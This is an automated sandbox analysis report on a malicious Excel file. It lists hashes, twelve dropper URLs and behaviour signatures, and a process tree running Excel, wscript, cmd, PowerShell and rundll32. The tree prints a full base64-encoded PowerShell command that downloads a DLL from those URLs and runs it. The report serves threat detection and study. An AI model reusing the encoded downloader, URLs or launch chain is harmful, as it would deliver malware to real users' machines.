Analysis

  • max time kernel
    121s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    20/11/2024, 02:54

General

  • Target

    01d0e17728daffd2598b3fd12710e8a401e5af39111a2dc4c346c41beede330d.xls

  • Size

    145KB

  • MD5

    7d166ce2da5195fa2094871af38a8078

  • SHA1

    0789b0a78de799562237fea12de0d05f15cc2ab8

  • SHA256

    01d0e17728daffd2598b3fd12710e8a401e5af39111a2dc4c346c41beede330d

  • SHA512

    715af94aa76008bc93e8649c6dc0f689673b3fa6a4629b350d46e17124a3fef9f06662f50a892b76122260f3df8c71d3f59ba25f81a38bed1181af00aa26781e

  • SSDEEP

    3072:icKoSsxzNDZLDZjlbR868O8KlVH3jehvMqAPjxO5xyZUE5V5xtezEVg8/dgL4Lcc:icKoSsxzNDZLDZjlbR868O8KlVH3jehy

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://reumatismclinic.com/-/scCnm3mbJRpsaBKBbrC/

exe.dropper

https://shodhmanjari.com/wp-admin/xjEmK4Pd3N/

exe.dropper

http://tubelocal.net/wp-admin/X4Xm4Mk/

exe.dropper

https://pacifichomebroker.com/roderick/RRk/

exe.dropper

https://molinai-journal.com/wp-content/4HBv/

exe.dropper

https://marineboyrecords.com/font-awesome/QBBByHDDYl0slxlQ/

exe.dropper

https://mashuk.net/wp-includes/ej6R4fkU/

exe.dropper

https://lapalette.store/Fox-C404/Gngia6hD0i5zsgd2/

exe.dropper

https://jhonnycryptic.com/cgi-bin/OhZdKCDRBYGZudqs/

exe.dropper

https://korean911.com/wp-admin/TZczIsZtMFXxM5T/

exe.dropper

https://fonijuk.org/wp-content/fzq6vYFUMEiRoR8vG/

exe.dropper

https://baltoe.blog/-/6IC/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\01d0e17728daffd2598b3fd12710e8a401e5af39111a2dc4c346c41beede330d.xls
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1964
    • C:\Windows\SysWOW64\wscript.exe
      wscript c:\programdata\sduoixo.vbs
      2⤵
      • Process spawned unexpected child process
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2012
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ""C:\programdata\jledshf.bat" "
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2820
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -enc JABqAGUAbwBsAGkAcwBlADMAUgBoAGcARABaAFMANABjAGQAZgBnAD0AIgBoAHQAdABwADoALwAvAHIAZQB1AG0AYQB0AGkAcwBtAGMAbABpAG4AaQBjAC4AYwBvAG0ALwAtAC8AcwBjAEMAbgBtADMAbQBiAEoAUgBwAHMAYQBCAEsAQgBiAHIAQwAvACwAaAB0AHQAcABzADoALwAvAHMAaABvAGQAaABtAGEAbgBqAGEAcgBpAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB4AGoARQBtAEsANABQAGQAMwBOAC8ALABoAHQAdABwADoALwAvAHQAdQBiAGUAbABvAGMAYQBsAC4AbgBlAHQALwB3AHAALQBhAGQAbQBpAG4ALwBYADQAWABtADQATQBrAC8ALABoAHQAdABwAHMAOgAvAC8AcABhAGMAaQBmAGkAYwBoAG8AbQBlAGIAcgBvAGsAZQByAC4AYwBvAG0ALwByAG8AZABlAHIAaQBjAGsALwBSAFIAawAvACwAaAB0AHQAcABzADoALwAvAG0AbwBsAGkAbgBhAGkALQBqAG8AdQByAG4AYQBsAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ANABIAEIAdgAvACwAaAB0AHQAcABzADoALwAvAG0AYQByAGkAbgBlAGIAbwB5AHIAZQBjAG8AcgBkAHMALgBjAG8AbQAvAGYAbwBuAHQALQBhAHcAZQBzAG8AbQBlAC8AUQBCAEIAQgB5AEgARABEAFkAbAAwAHMAbAB4AGwAUQAvACwAaAB0AHQAcABzADoALwAvAG0AYQBzAGgAdQBrAC4AbgBlAHQALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBlAGoANgBSADQAZgBrAFUALwAsAGgAdAB0AHAAcwA6AC8ALwBsAGEAcABhAGwAZQB0AHQAZQAuAHMAdABvAHIAZQAvAEYAbwB4AC0AQwA0ADAANAAvAEcAbgBnAGkAYQA2AGgARAAwAGkANQB6AHMAZwBkADIALwAsAGgAdAB0AHAAcwA6AC8ALwBqAGgAbwBuAG4AeQBjAHIAeQBwAHQAaQBjAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8ATwBoAFoAZABLAEMARABSAEIAWQBHAFoAdQBkAHEAcwAvACwAaAB0AHQAcABzADoALwAvAGsAbwByAGUAYQBuADkAMQAxAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBUAFoAYwB6AEkAcwBaAHQATQBGAFgAeABNADUAVAAvACwAaAB0AHQAcABzADoALwAvAGYAbwBuAGkAagB1AGsALgBvAHIAZwAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBmAHoAcQA2AHYAWQBGAFUATQBFAGkAUgBvAFIAOAB2AEcALwAsAGgAdAB0AHAAcwA6AC8ALwBiAGEAbAB0AG8AZQAuAGIAbABvAGcALwAtAC8ANgBJAEMALwAiAC4AcwBwAEwAaQBUACgAIgAsACIAKQA7AGYATwByAGUAYQBDAGgAKAAkAGoAZAB0AEYASgBkAFgAaAByADYAdAB4AHkAaABkACAAaQBuACAAJABqAGUAbwBsAGkAcwBlADMAUgBoAGcARABaAFMANABjAGQAZgBnACkAewAkAHIAaAB5AGsAYQBqAGQAaABmAHMANwBpAGQAZgBnAGQAPQAiAGMAOgBcAHAAcgBvAGcAcgBhAG0AZABhAHQAYQBcAHYAYgBrAHcAawAuAGQAbABsACIAOwBpAE4AdgBPAGsAZQAtAHcARQBiAHIAZQBRAHUAZQBzAFQAIAAtAHUAUgBpACAAJABqAGQAdABGAEoAZABYAGgAcgA2AHQAeAB5AGgAZAAgAC0AbwB1AFQAZgBpAEwAZQAgACQAcgBoAHkAawBhAGoAZABoAGYAcwA3AGkAZABmAGcAZAA7AGkAZgAoAHQAZQBzAHQALQBwAEEAdABIACAAJAByAGgAeQBrAGEAagBkAGgAZgBzADcAaQBkAGYAZwBkACkAewBpAGYAKAAoAGcAZQB0AC0AaQBUAGUAbQAgACQAcgBoAHkAawBhAGoAZABoAGYAcwA3AGkAZABmAGcAZAApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADQANQAwADAAMAApAHsAYgByAGUAYQBrADsAfQB9AH0A
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1228
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\rundll32.exe c:\programdata\vbkwk.dll,dfsgeresd
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2760
        • \??\c:\windows\syswow64\rundll32.exe
          c:\windows\syswow64\rundll32.exe c:\programdata\vbkwk.dll,dfsgeresd
          4⤵
          • System Location Discovery: System Language Discovery
          PID:272

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\programdata\jledshf.bat

    Filesize

    3KB

    MD5

    016baa9173d80a2783f51e289ba3446c

    SHA1

    3207efbfaf61e29d86c969245008aad1fa7f9657

    SHA256

    24cc34c301ca2213382e1be7fb5241073d6e23b390ba1b2c6fa76faa5ca5d3b4

    SHA512

    39b79426561f73777b5f2e8349052c994329ebdbc123261123f3234291ffe4741fc6275438d092e7a449899becac30e4b2e899f9fd45c3ff1685e604a6ebf651

  • \??\c:\programdata\sduoixo.vbs

    Filesize

    561B

    MD5

    87a9c41dc3e67b9b0b6cdb367d4858bd

    SHA1

    00f117f9a02dad3c127b2c607ead43300c2bebbe

    SHA256

    f0b09a17f07b03b8cfe1969f84fcfb96933439707fa86ba8aa79181145512e18

    SHA512

    7373ca3127a1baf85e3cc6beb7b046788132b1bb388405657cb924435386d186a2645971128dc582a970242c4a3dfdc7fcce78ed158b0d430c96bbd18686f1dd

  • memory/1964-70-0x0000000006460000-0x0000000006560000-memory.dmp

    Filesize

    1024KB

  • memory/1964-69-0x0000000006460000-0x0000000006560000-memory.dmp

    Filesize

    1024KB

  • memory/1964-19-0x0000000006460000-0x0000000006560000-memory.dmp

    Filesize

    1024KB

  • memory/1964-20-0x0000000006460000-0x0000000006560000-memory.dmp

    Filesize

    1024KB

  • memory/1964-84-0x0000000006460000-0x0000000006560000-memory.dmp

    Filesize

    1024KB

  • memory/1964-71-0x0000000006460000-0x0000000006560000-memory.dmp

    Filesize

    1024KB

  • memory/1964-1-0x0000000071BCD000-0x0000000071BD8000-memory.dmp

    Filesize

    44KB

  • memory/1964-8-0x0000000006EF0000-0x0000000006FF0000-memory.dmp

    Filesize

    1024KB

  • memory/1964-7-0x0000000006460000-0x0000000006560000-memory.dmp

    Filesize

    1024KB

  • memory/1964-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1964-89-0x0000000071BCD000-0x0000000071BD8000-memory.dmp

    Filesize

    44KB

  • memory/1964-90-0x0000000006460000-0x0000000006560000-memory.dmp

    Filesize

    1024KB

  • memory/1964-91-0x0000000006460000-0x0000000006560000-memory.dmp

    Filesize

    1024KB

  • memory/1964-92-0x0000000006460000-0x0000000006560000-memory.dmp

    Filesize

    1024KB

  • memory/1964-93-0x0000000006460000-0x0000000006560000-memory.dmp

    Filesize

    1024KB